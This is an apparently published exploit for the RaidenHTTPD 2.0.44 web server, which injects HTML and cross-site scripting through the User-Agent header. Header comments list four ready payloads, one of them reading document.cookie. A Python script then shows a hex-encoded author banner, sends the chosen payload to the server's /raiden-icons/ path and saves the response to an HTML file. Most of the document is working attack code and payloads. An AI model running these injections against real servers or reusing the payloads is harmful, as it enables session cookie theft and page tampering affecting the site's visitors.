# Exploit Title: RaidenHTTPD 2.0.44 - User-Agent - HTML Injection & Cross-site scripting
# Exploit Author: sultan albalawi
# :@bofheaded
# :https://hackinguyz.blogspot.com/
#exploit User-Agent HTTP header :
#For remote testing use http-live -There is no need to use the script <<<--------
#Delete or replace User-Agent || Copy and paste this using http_live <<<--------
#exploit 1= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0)hpqoa</title><script >alert(document.cookie)</script >wxo3i
#exploit 2= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title><img src =https://scontent-mxp1-1.xx.fbcdn.net/v/t1.0-9/13939522_163400494088381_3386303845241760770_n.jpg?oh=a3b8f974323844875d3e180d678c2366&oe=59D61CAD onerror=prompt[1]>wxo3i
#exploit 3= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title><form><input type="button" value="packetstormsecurity" onclick="javascript:window.open('https://packetstormsecurity.com/files/140925/zoomplayer1213-overflow.txt','calculator'+new Date().getTime(),'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=yes,copyhistory=no,width=450,height=300');"></form>wxo3i
#exploit 4=User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title><script>alert('packetstormsecurity')</script>wxo3i
#
#----------------------------------------------------------------------
import requests,sys
def myB():
print "\x27\x27\x27\x0d\x0a\x20\x20\x20\x20\x20" \
"\x20\x20\x5c\x20\x20\x20\x2d\x20\x20\x2d\x20" \
"\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e" \
"\x20\x20\x2d\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d" \
"\x20\x2d\x20\x20\x2d\x20\x2d\x20\x20\x2d\x20" \
"\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a" \
"\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74" \
"\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \
"\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a" \
"\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
"\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20" \
"\x60\x2e\x20\x20\x20\x20\x2c\x3b\x27\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70" \
"\x50\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \
"\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x58\x20" \
"\x2f\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20" \
"\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a" \
"\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
"\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f" \
"\x60\x20\x60\x20\x28\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x0d\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x20" \
"\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x64" \
"\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20\x20" \
"\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74" \
"\x79\x60\x20\x20\x27\x20\x30\x20\x20\x30\x20" \
"\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a" \
"\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20" \
"\x20\x20\x20\x20\x7c\x0d\x0a\x20\x20\x20\x20" \
"\x2c\x20\x20\x20\x20\x20\x20\x20\x2c\x20\x20" \
"\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \
"\x2a\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20" \
"\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20" \
"\x20\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20" \
"\x20\x60\x2e\x5f\x2e\x27\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d" \
"\x5e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60\x20" \
"\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d" \
"\x2d\x2c\x2e\x2e\x5f\x3b\x2d\x2d\x2d\x3e\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20" \
"\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f" \
"\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a" \
"\x20\x20\x27\x20\x60\x20\x20\x20\x20\x2c\x20" \
"\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65" \
"\x77\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20" \
"\x20\x20\x60\x2e\x5f\x20\x2c\x20\x20\x27\x20" \
"\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x7c" \
"\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x3b\x20\x2c\x27\x27\x2d\x2c\x3b\x27\x20\x60" \
"\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f" \
"\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x60\x60" \
"\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d\x2d\x60\x20" \
"\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20" \
"\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x27\x2e\x20\x5f\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f" \
"\x5f\x5f\x20\x7c\x5f\x20\x20\x49\x50\x53\x20" \
"\x20\x20\x20\x20\x29\x0d\x0a\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20" \
"\x20\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x53\x75\x6c\x74\x61\x6e\x20" \
"\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x68\x74\x74\x70\x73" \
"\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65" \
"\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65" \
"\x6e\x74\x65\x73\x74\x33\x0d\x0a\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x61" \
"\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e" \
"\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e" \
"\x63\x6f\x6d\x0d\x0a\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \
"\t\t\t\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61" \
"\x63\x6b\x65\x74\x73\x74\x6f\x72\x6d\x73\x65\x63" \
"\x75\x72\x69\x74\x79\x2e\x63\x6f\x6d\x2f\x66\x69" \
"\x6c\x65\x73\x2f\x61\x75\x74\x68\x6f\x72\x2f\x31\x32\x35\x38\x36\x2f\r\n"\
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d"
if len(sys.argv) < 2:
print 'ie: python ' + sys.argv[0] + ' <http://site.com:8080 > <or http://site.com> '
sys.exit(1)
pyload = ['''<form><input type="button" value="packetstormsecurity" onclick="javascript:window.open('https://packetstormsecurity.com/files/140925/zoomplayer1213-overflow.txt','calculator'+new Date().getTime(),'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=yes,copyhistory=no,width=450,height=300');"></form>wxo3i''',
"<script >alert(document.cookie)</script >",
"<img src =https://scontent-mxp1-1.xx.fbcdn.net/v/t1.0-9/13939522_163400494088381_3386303845241760770_n.jpg?oh=a3b8f974323844875d3e180d678c2366&oe=59D61CAD onerror=prompt[1]>",
"<script>alert(packetstormsecurity)</script>",
"<img src=\"blah.jpg\" onerror=\"alert('XSS')\"/>"]
myB()
print "\r\n"
url = sys.argv[1]+'/raiden-icons/?jt_mtime=d'
print "\r\n"
print "target host: --> {}".format(url)
print "\r\n"
print "-"*50
print" 0 "+pyload[0]+"\t\n\r"
print" 1 "+pyload[1]+"\t\n\r"
print" 2 "+pyload[2]+"\t\n\r"
print" 3 "+pyload[3]+"\t\n\r"
print" 4 "+pyload[4]+"\t\n\r"
print "\t\n"+"-"*50
print "\r\n"
while True:
print "\r\n"
print "\r\n"
num=pyload[input('exploit number : ')]
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title>'+num+'wxo3i'}
response = requests.get(url, headers=headers)
print(response.content)
file=open("RaidenHTTPD-2.0.44.html",'w')
file.write(response.content)
file.close()
print "\t\n"+"="*50
print "\r\n"
print "\r\n"
print 'file exploit created --> [ RaidenHTTPD-2.0.44.html ]'
